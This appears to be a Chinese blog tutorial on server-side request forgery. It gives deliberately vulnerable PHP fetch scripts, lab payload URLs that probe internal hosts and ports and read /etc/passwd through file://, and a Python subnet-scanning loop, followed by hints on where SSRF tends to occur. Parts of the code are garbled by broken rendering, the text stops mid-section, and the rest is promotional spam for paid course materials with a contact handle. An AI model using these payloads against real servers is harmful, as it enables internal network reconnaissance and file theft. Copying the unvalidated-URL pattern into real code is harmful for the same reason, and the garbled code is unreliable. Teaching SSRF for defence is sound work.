SSRF 服务端请求伪造, 简介,SSRF实验, 漏洞探测, 绕过技巧, SSRF防御_json格式绕过ssrf

$params[CURLOPT_HEADER] = false; // 是否返回响应头信息
$params[CURLOPT_RETURNTRANSFER] = true; // 是否将结果返回
$params[CURLOPT_FOLLOWLOCATION] = false; // 是否重定向
$params[CURLOPT_TIMEOUT] = 30; // 超时时间
$params[CURLOPT_POST] = true; // 本次发送POST请求
$params[CURLOPT_POSTFIELDS] = $data; // 给POST请求正文赋值
$params[CURLOPT_SSL_VERIFYPEER] = false;// 请求https时,不验证证书
p a r a m s [ C U R L O P T _ S S L _ V E R I F Y H O S T ] = f a l s e ; / / 请求 h t t p s 时,不验证主机 c u r l _ s e t o p t _ a r r a y ( params[CURLOPT\_SSL\_VERIFYHOST] = false;// 请求https时,不验证主机 curl\_setopt\_array( params[CURLOPT_SSL_VERIFYHOST]=false;//请求https时,不验证主机curl_setopt_array(ch, $params); //传入curl参数
c o n t e n t = c u r l _ e x e c ( content = curl\_exec( content=curl_exec(ch); //执行
echo $content;

//判断是否存在客户端JS重定向
if (stripos($content, ‘location.href’) === false)
echo $content;
else
die(“ERROR”);

curl_close($ch); //关闭连接

三, SSRF 漏洞实验

SSRF的利用条件:URL地址可控, 后台页面没有对URL进行正确的校验, 在页面当中最好有输出

1. 准备php漏洞脚本 ssrf.php

方式一: file_get_contents()函数:

$url = $_GET[‘url’];
r e s p = f i l e _ g e t _ c o n t e n t s ( resp = file\_get\_contents( resp=file_get_contents(url);
echo $resp;

方式二: curl请求:

c h = c u r l _ i n i t ( ) ; c u r l _ s e t o p t ( ch = curl\_init(); curl\_setopt( ch=curl_init();curl_setopt(ch, CURLOPT_URL, _ G E T [ ′ u r l ′ ] ) ; c u r l _ s e t o p t ( \_GET['url']); curl\_setopt( _GET[url]);curl_setopt(ch, CURLOPT_HEADER, 1);
c o n t e n t = c u r l _ e x e c ( content = curl\_exec( content=curl_exec(ch);
echo c o n t e n t ; c u r l _ c l o s e ( content; curl\_close( content;curl_close(ch);

2. 利用漏洞脚本发送恶意请求
(1)探测目标地址中的其他内网主机和端口是否开启

http://192.168.112.200/security/ssrf.php?url=192.168.112.203
http://192.168.112.200/security/ssrf.php?url=192.168.112.202:22
http://192.168.112.200/security/ssrf.php?url=192.168.112.202:3306

也可以用burpsuite爆破, 或python扫描内网ip或端口

import requests
for i in range(1,255):
try:
resp = requests.get(f’http://192,168.112.200/security/ssrf.php?url=http://192.168.112.{i}', timeout=2)
if ‘file_get_contents’ not in resp.text and ‘warning’ not in resp.text:
print(f’192.168.112.{i} is online")
except:
pass

SSRF 漏洞可用于从公网扫描内网主机。如果攻击者能够利用某个公网应用的SSRF漏洞,他们可能会尝试扫描以下私有IP地址段,这些地址段被保留用于内网环境:

A类地址:10.0.0.0 ~ 10.255.255.255
B类地址:172.16.0.0 ~ 172.31.255.255
C类地址:192.168.0.0 ~ 192.168.255.255

除了这些私有地址,攻击者还可能尝试扫描本地回环地址(127.0.0.0/8),自动分配地址(169.254.0.0/16),以及其他一些特殊用途的地址。

扫描常见的端口, 例如 HTTP(80, 443),数据库服务(如 MySQL 的 3306,MSSQL 的 1433),以及其他常用的服务端口。

利用子网掩码, 通常会按 192.168.112.0/24(192.168.112.1 ~ 192.168.112.254)
192.168.0.0/16(192.168.0.1 ~ 192.168.255.254) 来扫描.

(2)file://协议读取服务器敏感文件

在后端使用了 curl 方式请求才有效.

http://192.168.112.200/security/ssrf.php?url=file:///etc/passwd
http://192.168.112.200/security/ssrf.php?url=file:///opt/lampp/etc/my.cnf

四, SSRF 漏洞探测
1. 从目标站点的url参数中寻找

share、wap、url、link、src、source、target、u、display、sourceUrl、imageURL、domain 等参数.

2. 从web页面的功能中寻找

这些功能因为涉及到服务器对外部或者用户提供的URL进行请求,所以可能存在SSRF漏洞。
这些功能包括分享网页内容、转码服务、在线翻译、图片加载与下载、内容收藏,以及一些未公开或者内部的API调用。

(1)分享功能:

如果应用程序在未经验证的情况下获取用户提供的URL中的内容(如标题或描述),可能被利用来构造请求内部网络中的敏感资源。

(2)转码服务:

当应用程序把第三方网页内容转码以适应移动设备时,如果对用户输入的URL未做安全检查,可能被用来访问内部系统。

(3)在线翻译:

类似地,如果翻译服务对用户提供的URL没有进行严格的过滤和校验,那么这些URL可能会被利用来探查内部网络或访问受限资源。

(4)图片加载与下载:

图片处理服务在对远程图片进行获取、处理(如添加水印、压缩)时,如果不限制请求的目标地址或不验证图片来源,可能导致SSRF漏洞。

(5)内容收藏功能:

收藏文章或图片功能如果直接使用用户提供的URL来抓取内容,没有适当的安全措施,这可能允许攻击者通过特制的URL访问或操作内部服务。

(6)未公开的API与其他URL调用功能:

内部或未公开的API,如果可以通过外部请求触发,并且这些请求中包含对外部资源的调用,而这些调用未经严格控制,那么就可能存在SSRF风险。

3. 根据响应的内容判断

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

😝朋友们如果有需要的话,可以联系领取~

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

2️⃣视频配套工具&国内外网安书籍、文档
① 工具

② 视频

image1

③ 书籍

image2

资源较为敏感,未展示全面,需要的最下面获取

在这里插入图片描述在这里插入图片描述

② 简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

② 简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-q2LEj5ja-1712551344103)]

  • 30
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值